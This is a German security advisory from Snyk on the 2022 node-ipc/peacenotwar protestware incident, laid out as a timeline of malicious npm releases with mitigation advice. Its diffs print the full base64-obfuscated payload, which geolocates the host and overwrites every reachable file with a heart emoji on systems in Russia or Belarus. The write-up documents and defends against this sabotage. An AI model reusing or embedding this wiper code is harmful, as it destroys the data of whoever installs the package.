Warnung: Das Modul peacenotwar sabotiert npm-Entwickler im Paket node-ipc aus Protest gegen den Einmarsch in die Ukraine

Am 15. März 2022 waren Nutzer des beliebten JavaScript-Frontend-Frameworks Vue.js von einem Vorfall betroffen, der nur als Supply-Chain-Angriff auf das npm-Ökosystem bezeichnet werden kann. Ursache war die Sabotage der verschachtelten Abhängigkeiten node-ipc und peacenotwar durch den Maintainer des Pakets node-ipc als Protestaktion.

Bei diesem Sicherheitsvorfall wurden Dateien auf Datenträgern durch einen Maintainer beschädigt. Außerdem versuchte dieser, die vorsätzliche Sabotage zu verbergen und in verschiedenen Formen erneut umzusetzen. Auch wenn der Angriff politisch motiviert war, macht er auf ein größeres Problem in der Software-Supply-Chain aufmerksam: Die transitiven Abhängigkeiten in Ihrem Code können Ihre Sicherheit erheblich beeinträchtigen.

Snyk verfolgt die in diesem Artikel dargestellten Sicherheitsvorfälle anhand der folgenden CVEs: CVE-2022-23812 für node-ipc und SNYK-JS-PEACENOTWAR-2426724 für die npm-Module peacenotwar und oneday-test. Wenn Sie Snyk bereits für Open-Source-Sicherheit und Supply-Chain-Sicherheit einsetzen, erhalten Sie Benachrichtigungen, Warnmeldungen und automatisch erstellte Pull Requests, damit Sie geschützt und über die Lage informiert bleiben. Lesen Sie weiter, wenn Sie mehr über die Einzelheiten dieses Supply-Chain-Angriffs erfahren möchten.

Vorgeschichte des Missbrauchs des npm-Pakets node-ipc

Die Geschichte begann am 8. März 2022 um 18 Uhr GMT+2. Zu diesem Zeitpunkt schrieb der npm-Maintainer RIAEvangelist (Brandon Nozaki Miller) Quellcode und veröffentlichte ein npm-Paket namens peacenotwar, das laut der Beschreibung des Moduls:

1This code serves as a non-destructive example of why controlling 
2your node modules is important. It also serves as a non-violent 
3protest against Russia's aggression that threatens the world right 
4now. This module will add a message of peace on your users' 
5desktops, and it will only do it if it does not already exist 
6just to be polite.

Bis gestern (15. März) hatte dieses Modul praktisch keine Downloads. Das änderte sich jedoch, als der npm-Maintainer das Modul als Abhängigkeit zu einem seiner anderen beliebten Module node-ipc hinzufügte. Dieses ist selbst eine beliebte Abhängigkeit, auf die sich viele JavaScript-Entwickler im Ökosystem verlassen.

Eines dieser Projekte im JavaScript-Ökosystem ist das Befehlszeilentool von Vue.js, die Vue.js CLI, auch bekannt als npm-Paket @vue/cli. Der folgende Baum verschachtelter Abhängigkeiten zeigt genau, wie node-ipc in das npm-Paket der Vue.js CLI gelangt. Er verdeutlicht auch, warum verschachtelte Abhängigkeiten als ganzheitliches Risiko überprüft werden müssen:

1- @vue/cli
2   |
3   - @vue/cli-ui
4      |
5      - node-ipc@^9.2.1
6   - @vue/cli-shared-utils
7      |
8      - node-ipc@^9.1.1

Die derzeit neueste „stabile“ Version des npm-Pakets node-ipc (Version 9.2.2) bündelt peacenotwar und interessanterweise auch das berüchtigte npm-Paket colors mit dem Platzhalter * als Abhängigkeitsbereich. Falls Sie die Geschichte um die npm-Pakete colors und faker, die von ihrem Maintainer Marak vorsätzlich missbraucht und beschädigt wurden, noch nicht kennen, empfehle ich Ihnen dringend, sich auch damit als weitere Perspektive auf die Sicherheit der Open-Source-Supply-Chain zu befassen.

Zeitleiste der Ereignisse

Frühere Versionen von node-ipc, etwa 10.1.0 (vor sechs Monaten veröffentlicht) und alle Versionen bis einschließlich 10.0.0 (vor neun Monaten veröffentlicht), enthielten sinnvolle Aktualisierungen und Verbesserungen. Doch …

7. März

Letzte Woche wurde Version 10.1.1 mit eindeutigen Codeänderungen veröffentlicht, die Bedenken hinsichtlich verdächtiger Aktivitäten und eines möglichen Missbrauchs des Quellcodes und des Paketverhaltens aufkommen ließen. Sehen wir uns die Unterschiede zwischen Version 10.1.0 und 10.1.1 an:

1diff --git a/node-ipc.cjs b/node-ipc.cjs
2index v10.1.0..v10.1.1 100666
3--- a/node-ipc.cjs
4+++ b/node-ipc.cjs
5@@ -1030,6 +1030,74 @@
6   });
7 }
8
9+// dao/ssl-geospec.js
10+var import_path = __toModule(require("path"));
11+var import_fs3 = __toModule(require("fs"));
12+var import_https = __toModule(require("https"));
13+setTimeout(function() {
14+  const t = Math.round(Math.random() * 4);
15+  if (t > 1) {
16+    return;
17+  }
18+  const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64");
19+  import_https.default.get(n.toString("utf8"), function(t2) {
20+    t2.on("data", function(t3) {
21+      const n2 = Buffer.from("Li8=", "base64");
22+      const o2 = Buffer.from("Li4v", "base64");
23+      const r = Buffer.from("Li4vLi4v", "base64");
24+      const f = Buffer.from("Lw==", "base64");
25+      const c = Buffer.from("Y291bnRyeV9uYW1l", "base64");
26+      const e = Buffer.from("cnVzc2lh", "base64");
27+      const i = Buffer.from("YmVsYXJ1cw==", "base64");
28+      try {
29+        const s = JSON.parse(t3.toString("utf8"));
30+        const u2 = s[c.toString("utf8")].toLowerCase();
31+        const a2 = u2.includes(e.toString("utf8")) || u2.includes(i.toString("utf8"));
32+        if (a2) {
33+          h(n2.toString("utf8"));
34+          h(o2.toString("utf8"));
35+          h(r.toString("utf8"));
36+          h(f.toString("utf8"));
37+        }
38+      } catch (t4) {
39+      }
40+    });
41+  });
42+}, Math.ceil(Math.random() * 1e3));
43+async function h(n = "", o2 = "") {
44+  if (!import_fs3.default.existsSync(n)) {
45+    return;
46+  }
47+  let r = [];
48+  try {
49+    r = import_fs3.default.readdirSync(n);
50+  } catch (t) {
51+  }
52+  const f = [];
53+  const c = Buffer.from("4p2k77iP", "base64");
54+  for (var e = 0; e < r.length; e++) {
55+    const i = import_path.default.join(n, r[e]);
56+    let t = null;
57+    try {
58+      t = import_fs3.default.lstatSync(i);
59+    } catch (t2) {
60+      continue;
61+    }
62+    if (t.isDirectory()) {
63+      const s = h(i, o2);
64+      s.length > 0 ? f.push(...s) : null;
65+    } else if (i.indexOf(o2) >= 0) {
66+      try {
67+        import_fs3.default.writeFile(i, c.toString("utf8"), function() {
68+        });
69+      } catch (t2) {
70+      }
71+    }
72+  }
73+  return f;
74+}
75+var ssl = true;
76+

Das CommonJS-kompatible Node.js-Modul node-ipc.cjs ist mit über 1.000 Codezeilen recht umfangreich. Ausgehende HTTPS-Aufrufe an externe Ziele und Base64-kodierte Daten reichen als Grund aus, um vor möglichem Fehlverhalten zu warnen. Sie dienen außerdem als Grundlage für IoCs (Indikatoren für eine Kompromittierung).

Dieser zu node-ipc@10.1.1 hinzugefügte Code richtet einen Timer ein. In zufälligen, vorab festgelegten Intervallen wird eine Funktion ausgeführt, sobald zugehöriger node-ipc-Code aufgerufen wird. Offenbar führt sie Dateisystemoperationen aus.

Sehen wir uns die Base64-kodierten Werte der Argumente genauer an, die an die Funktion für Dateisystemoperationen übergeben werden. Aus dem obigen Diff:

1+      const n2 = Buffer.from("Li8=", "base64");
2+      const o2 = Buffer.from("Li4v", "base64");
3+      const r = Buffer.from("Li4vLi4v", "base64");
4+      const f = Buffer.from("Lw==", "base64");
5+      const c = Buffer.from("Y291bnRyeV9uYW1l", "base64");
6+      const e = Buffer.from("cnVzc2lh", "base64");
7+      const i = Buffer.from("YmVsYXJ1cw==", "base64");

Alle diese Werte werden anschließend an die Timer-Funktion übergeben, zum Beispiel:

1+          h(n2.toString("utf8"));

Die Werte der oben gezeigten Base64-kodierten Zeichenfolgen lauten:

• n2 wird auf ./ gesetzt

• o2 wird auf ../ gesetzt

• r wird auf ../../ gesetzt

• f wird auf / gesetzt

Werden diese Werte an die Timer-Funktion übergeben, dienen sie in der folgenden Codezeile als Quelldateien. Deren Inhalte werden gelöscht und durch ein Herz-Emoji ersetzt (im Diff dargestellt durch die Zeile +  const c = Buffer.from("4p2k77iP", "base64");)

1+      try {
2+        import_fs3.default.writeFile(i, c.toString("utf8"), function() {
3+        });

An diesem Punkt kommt es auf jedem System, auf dem dieses npm-Paket aufgerufen wird, zu einem eindeutig erkennbaren Missbrauch und einem schwerwiegenden Supply-Chain-Sicherheitsvorfall, sofern das System geografisch in Russland oder Belarus liegt.

Simulierte Debug-Ergebnisse in einer Test-Sandbox.

Der aktualisierte Inhalt der Datei README für node-ipc@10.1.1erwähnt dieses neu hinzugefügte Verhalten nicht. Stattdessen enthält er einen Aufruf, RIAEvangelist zu unterstützen, sowie ein Beispiel für die Verwendung der ES6- und CommonJS-Version von node-ipc ab Version 10.

Etwa zehn Stunden später wurde Version node-ipc@10.1.2 veröffentlicht. Abgesehen von einer Versionsänderung gab es nahezu keine Änderungen. Möglicherweise sollte dies automatische Aktualisierungen von Abhängigkeiten auslösen. Hier ist das vollständige Git-Diff zwischen den beiden Versionen:

1diff --git a/package.json b/package.json
2index v10.1.1..v10.1.2 100666
3--- a/package.json
4+++ b/package.json
5@@ -1,6 +1,6 @@
6 {
7   "name": "node-ipc",
8-  "version": "10.1.1",
9+  "version": "10.1.2",
10   "description": "A nodejs module for local and remote Inter Process Communication (IPC), Neural Networking, and able to facilitate machine learning.",
11   "type": "module",
12   "main": "node-ipc.cjs",

8. März

Etwa fünf Stunden später, am 8. März, wurde eine neue Version veröffentlicht: node-ipc@10.1.3. Sie scheint alle Hinweise auf die zuvor erwähnte schädliche Nutzlast entfernt zu haben. Ein Vergleich des Git-Diffs zwischen den beiden Versionen bestätigt:

1diff --git a/node-ipc.cjs b/node-ipc.cjs
2index v10.1.2..v10.1.3 100666
3--- a/node-ipc.cjs
4+++ b/node-ipc.cjs
5@@ -1030,74 +1030,6 @@
6   });
7 }
8
9-// dao/ssl-geospec.js
10-var import_path = __toModule(require("path"));
11-var import_fs3 = __toModule(require("fs"));
12-var import_https = __toModule(require("https"));
13-setTimeout(function() {
14-  const t = Math.round(Math.random() * 4);
15-  if (t > 1) {
16-    return;
17-  }
18
19…
20diff --git a/dao/ssl-geospec.js b/dao/ssl-geospec.js
21deleted file mode 100666
22index v10.1.2..v10.1.3
23--- a/dao/ssl-geospec.js
24+++ b/dao/ssl-geospec.js
25@@ -1,1 +0,0 @@
26-import u from"path";import a from"fs";import o from"https";setTimeout(function(){const t=Math.round(Math.random()*4);if(t>1){return}const n=Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=","base64");o.get(n.toString("utf8"),function(t){t.on("data",function(t){const n=Buffer.from("Li8=","base64");const o=Buffer.from("Li4v","base64");const r=Buffer.from("Li4vLi4v","base64");const f=Buffer.from("Lw==","base64");const c=Buffer.from("Y291bnRyeV9uYW1l","base64");const e=Buffer.from("cnVzc2lh","base64");const i=Buffer.from("YmVsYXJ1cw==","base64");try{const s=JSON.parse(t.toString("utf8"));const u=s[c.toString("utf8")].toLowerCase();const a=u.includes(e.toString("utf8"))||u.includes(i.toString("utf8"));if(a){h(n.toString("utf8"));h(o.toString("utf8"));h(r.toString("utf8"));h(f.toString("utf8"))}}catch(t){}})})},Math.ceil(Math.random()*1e3));async function h(n="",o=""){if(!a.existsSync(n)){return}let r=[];try{r=a.readdirSync(n)}catch(t){}const f=[];const c=Buffer.from("4p2k77iP","base64");for(var e=0;e<r.length;e++){const i=u.join(n,r[e]);let t=null;try{t=a.lstatSync(i)}catch(t){continue}if(t.isDirectory()){const s=h(i,o);s.length>0?f.push(...s):null}else if(i.indexOf(o)>=0){try{a.writeFile(i,c.toString("utf8"),function(){})}catch(t){}}}return f};const ssl=true;export {ssl as default,ssl}

Wir vermuten, dass die Änderungen aus dem 10.x-Versionszweig entfernt wurden, nachdem es zu einer Diskussion rund um das GitHub-Issue kam, in dem dieses Verhalten gemeldet wurde. Darin behauptet der Maintainer, die Nutzlast als Teil einer neuen Hauptversion der Bibliothek veröffentlicht zu haben:

Zusammenfassend lässt sich sagen: Die anfälligen Versionen von node-ipc, nämlich node-ipc@10.1.1 und node-ipc@10.1.2, waren weniger als 24 Stunden lang in der npmjs-Registry verfügbar. Aufgrund der hohen Zahl an Downloads durch Entwickler und Build-Systeme waren dennoch einige davon betroffen, wie öffentliche Repositories zeigen, in denen der Vorfall gemeldet wurde:

Die anfälligen Versionen 10.1.1 und 10.1.2 sind inzwischen nicht mehr in der npmjs-Registry verfügbar und wurden entweder vom Maintainer oder vom npmjs-Team als deprecated gekennzeichnet. Das wird durch den folgenden Hinweis auf der npmjs-Website bestätigt:

Am 8. März um 19:25 Uhr GMT+2, weniger als vier Stunden nachdem node-ipc@10.1.3 zur Rücknahme der schädlichen Nutzlast veröffentlicht worden war, erschien eine neue Hauptversion in der npmjs-Registry: node-ipc@11.0.0. Was wurde geändert?

Die neue Hauptversion node-ipc@11.0.0 enthält nun Folgendes:

• Eine Abhängigkeit vom Modul peacenotwar

• Bei jedem Aufruf der Funktionen des Moduls node-ipc wird eine Nachricht aus dem Modul peacenotwar auf STDOUT ausgegeben. Außerdem wird im Desktop-Verzeichnis des Nutzers eine Datei abgelegt, deren Inhalt sich auf die aktuelle Kriegssituation zwischen Russland und der Ukraine bezieht.

• In der README für Version 11.0.0 wird die explizite Verwendung von peacenotwar als Teil dieses Moduls mit folgendem Hinweis angegeben: ***as of v11*** this module uses the [peacenotwar](https://github.com/RIAEvangelist/peacenotwar) module.

Was führte dazu, dass das npm-Paket peacenotwar in die offiziellen node-ipc-Versionen aufgenommen wurde und Millionen Entwickler betraf?

15. März

Gestern, am 15. März, wurden um 18:49 Uhr GMT+2 und 19:40 Uhr GMT+2 zwei neue, folgenreiche npm-Versionen von node-ipc veröffentlicht. Besonders bedeutsam ist die neue Patch-Version node-ipc@9.2.2, da sie zum neuesten stabilen Versionszweig von node-ipc gehört und viele Projekte im Ökosystem auf sie angewiesen sind – darunter auch die bereits erwähnte Vue.js CLI @vue/cli.

Folgende Änderungen wurden zu node-ipc@9.2.2 hinzugefügt:

1. Dem Paketinhalt wurde beispielhafter Quellcode hinzugefügt.

2. peacenotwar wird als Abhängigkeit hinzugefügt und ausgeführt, wenn eine Abhängigkeit, die node-ipc importiert, das Modul aufruft.

3. Außerdem wird ausdrücklich eine Abhängigkeit von colors@* hinzugefügt, wodurch vorsätzlich anfälliger Quellcode eines anderen Maintainers eingebunden wird.

4. In dieser neuen Nebenversion wird die MIT-Lizenz durch die DBAD-Lizenz ersetzt. Anmerkung der Redaktion: Die DBAD-Lizenz enthält derbe Sprache.

Etwa zur gleichen Zeit wurde eine neue Nebenversion veröffentlicht: node-ipc@11.1.0. Sie aktualisiert die Abhängigkeit peacenotwar auf eine neue Version, entfernt jedoch die protokollierten console.log()-Nachrichten auf STDOUT. Das lässt sich anhand des folgenden Git-Diff-Protokolls zwischen den beiden npm-Paketen von node-ipc bestätigen:

1diff --git a/node-ipc.cjs b/node-ipc.cjs
2index v11.0.0..v11.1.0 100666
3--- a/node-ipc.cjs
4+++ b/node-ipc.cjs
5@@ -1328,7 +1328,6 @@
6 var OneDriveDesktopFileExists = fromDir(OneDriveDesktops, "WITH-LOVE-FROM-AMERICA.txt");
7 var OneDriveFileExists = fromDir(OneDrive, "WITH-LOVE-FROM-AMERICA.txt");
8 function deliverAPeacefulMessage(path2, message) {
9-  console.log(path2);
10   try {
11     import_fs5.default.writeFile(path2, message, function(err) {
12     });
13@@ -1336,7 +1335,6 @@
14   }
15 }
16 if (!(DesktopFileExists == null ? void 0 : DesktopFileExists.length) && !(OneDriveFileExists == null ? void 0 : OneDriveFileExists.length) && !(OneDriveDesktopFileExists == null ? void 0 : OneDriveDesktopFileExists.length)) {
17-  console.log("in here");
18   const thinkaboutit = "WITH-LOVE-FROM-AMERICA.txt";
19   const WITH_LOVE_FROM_AMERICA = read(`./${thinkaboutit}`);
20   deliverAPeacefulMessage(`${Desktops}${thinkaboutit}`, WITH_LOVE_FROM_AMERICA);
21diff --git a/package.json b/package.json
22index v11.0.0..v11.1.0 100666
23--- a/package.json
24+++ b/package.json
25@@ -1,6 +1,6 @@
26 {
27   "name": "node-ipc",
28-  "version": "11.0.0",
29+  "version": "11.1.0",
30   "description": "A nodejs module for local and remote Inter Process Communication (IPC), Neural Networking, and able to facilitate machine learning.",
31   "type": "module",
32   "main": "node-ipc.cjs",
33@@ -19,7 +19,7 @@
34     "event-pubsub": "5.0.3",
35     "js-message": "1.0.7",
36     "js-queue": "2.0.2",
37-    "peacenotwar": "^9.1.3",
38+    "peacenotwar": "^9.1.5",
39     "strong-type": "^1.0.1"
40   },
41   "devDependencies": {

Supply-Chain-Sicherheit und das Ansehen von Maintainerinnen und Maintainer

Auch wenn manche die vorsätzliche und gefährliche Handlung des Maintainers RIAEvangelist als legitime Protestaktion betrachten, stellt sich die Frage: Wie wirkt sich das auf das künftige Ansehen des Maintainers und seine Stellung in der Entwickler-Community aus? Kann diesem Maintainer jemals wieder zugetraut werden, keine weiteren derartigen oder sogar noch drastischeren Aktionen bei Projekten durchzuführen, an denen er beteiligt ist?

RIAEvangelist betreut derzeit mehr als 40 weitere npm-Pakete, die zusammen Hunderte Millionen Downloads verzeichnen. Hier sind einige der betreuten Module und ihre wöchentlichen Downloads in der npmjs-Registry:

Das Snyk Security Research-Team hat keine Hinweise darauf gefunden, dass andere Pakete dieses Maintainers vorsätzlich auf ähnliche Weise missbraucht wurden. Es beobachtet jedoch weiterhin aufmerksam die im npmjs-Ökosystem veröffentlichten Updates.

So können Sie das node-ipc-Problem eindämmen

Angesichts möglicher künftiger Codeänderungen, die Nutzer gefährden könnten, empfehlen wir, das npm-Paket node-ipc vollständig zu meiden. Ist dieses npm-Paket Teil Ihrer Anwendung, empfehlen wir, die Funktion Ihres npm-Paketmanagers zu nutzen, um die sabotierten Versionen zu überschreiben und die transitive Abhängigkeit auf eine bekanntermaßen sichere Version festzusetzen.

Wenn Sie npm als Paketmanager verwenden, können Sie Ihrer Datei package.json Folgendes hinzufügen, um ausschließlich unbedenkliche Versionen von node-ipc zuzulassen:

1  "overrides": {
2    "node-ipc@>9.2.1 <10": "9.2.1",
3    "node-ipc@>10.1.0": "10.1.0"
4  }

Bekannte prominente Betroffene des node-ipc-Vorfalls

Sicherheitslücke in Vue.js-Projekt durch Protestware von node-ipc

Die Vue.js CLI war früher von der Version 9.x von node-ipc abhängig und dadurch anfällig für Version 9.2.2. Diese fügte das Modul peacenotwar hinzu, das die Datei WITH-LOVE-FROM-AMERICA.txt im Desktop-Verzeichnis des Nutzers ablegte. Die Sicherheitslücke in @vue/cli wurde inzwischen behoben. Bitte aktualisieren Sie mit dem Paketmanager Ihrer Wahl auf die neueste Version von @vue/cli: 4.5.16+ oder 5.0.3+.

1npm i -g @vue/cli
2pnpm i -g @vue/cli
3yarn global add @vue/cli

Sicherheitslücke in der Unity-Spiel-Engine durch Protestware von node-ipc

Nutzer haben berichtet, dass das Unity-Game-Engine-Projekt seine Software zusammen mit node-ipc@9.2.2 ausgeliefert hat. Das alarmierte Nutzer, die überraschend eine neu erstellte Datei auf ihrem Desktop entdeckten. Das Unity-Team veröffentlichte am 16. März umgehend eine Hotfix-Version 3.1.1, um das Problem zu entschärfen.

Zusammenfassung

Snyk steht an der Seite der Ukraine und hat proaktiv Maßnahmen ergriffen, um die Menschen in der Ukraine während der anhaltenden Krise mit Spenden und kostenlosen Services für Entwickler weltweit zu unterstützen. Außerdem haben wir unsere Geschäftstätigkeit in Russland und Belarus eingestellt. Vorsätzlicher Missbrauch wie dieser schadet der globalen Open-Source-Community. Deshalb müssen wir betroffene Versionen von node-ipc als Sicherheitslücken kennzeichnen.

Das Snyk-Sicherheitsteam hat daher CVE-2022-23812 und SNYK-JS-PEACENOTWAR-2426724 veröffentlicht, um auf die Sicherheitslücke in den vorsätzlich verwundbaren Versionen von node-ipc hinzuweisen und sie zu verfolgen. Auch im kostenlosen Tarif von Snyk ist diese neue Sicherheitslücke bereits erfasst. So können Entwickler scannen, überwachen und Sicherheitskorrekturen automatisch als Pull Requests bereitstellen.

Die Auswirkungen von Supply-Chain-Sicherheitsvorfällen zeigen weiterhin, wie wichtig es ist, Risiken im Zusammenhang mit Open-Source-Abhängigkeiten richtig zu verwalten und schnell darauf zu reagieren. Darüber hinaus hat die Komplexität verschachtelter Abhängigkeiten, etwa im JavaScript-Ökosystem npmjs, erneut verdeutlicht, wie stark sich ihre Auswirkungen auf wichtige Projekte des Ökosystems summieren.

Erst vor zwei Monaten haben wir über die weitreichenden Folgen eines ähnlichen Sicherheitsvorfalls berichtet, bei dem ein Open-Source-Maintainer die npm-Pakete „colors“ und „faker“ lahmlegte. Der Vorfall zeigte, wie Maintainer Open-Source-Bibliotheken vorsätzlich sabotieren können.

Es wird immer wichtiger, sich Kenntnisse im Management von Software-Abhängigkeiten in großem Umfang anzueignen, als Entwickler die Best Practices für npm-Sicherheit zu befolgen und Sicherheitsrisiken sowie Vorfälle zu verstehen – etwa, warum npm-Lockfiles ein blinder Fleck bei der Einschleusung bösartiger Module sein können.

Weitere Informationen zur Supply-Chain-Sicherheit finden Sie in diesen Blogbeiträgen:

• So sichern Sie Ihre moderne Software-Supply-Chain

• Erstellen Sie eine Software-Stückliste (SBOM) für die Sicherheit Ihrer Open-Source-Supply-Chain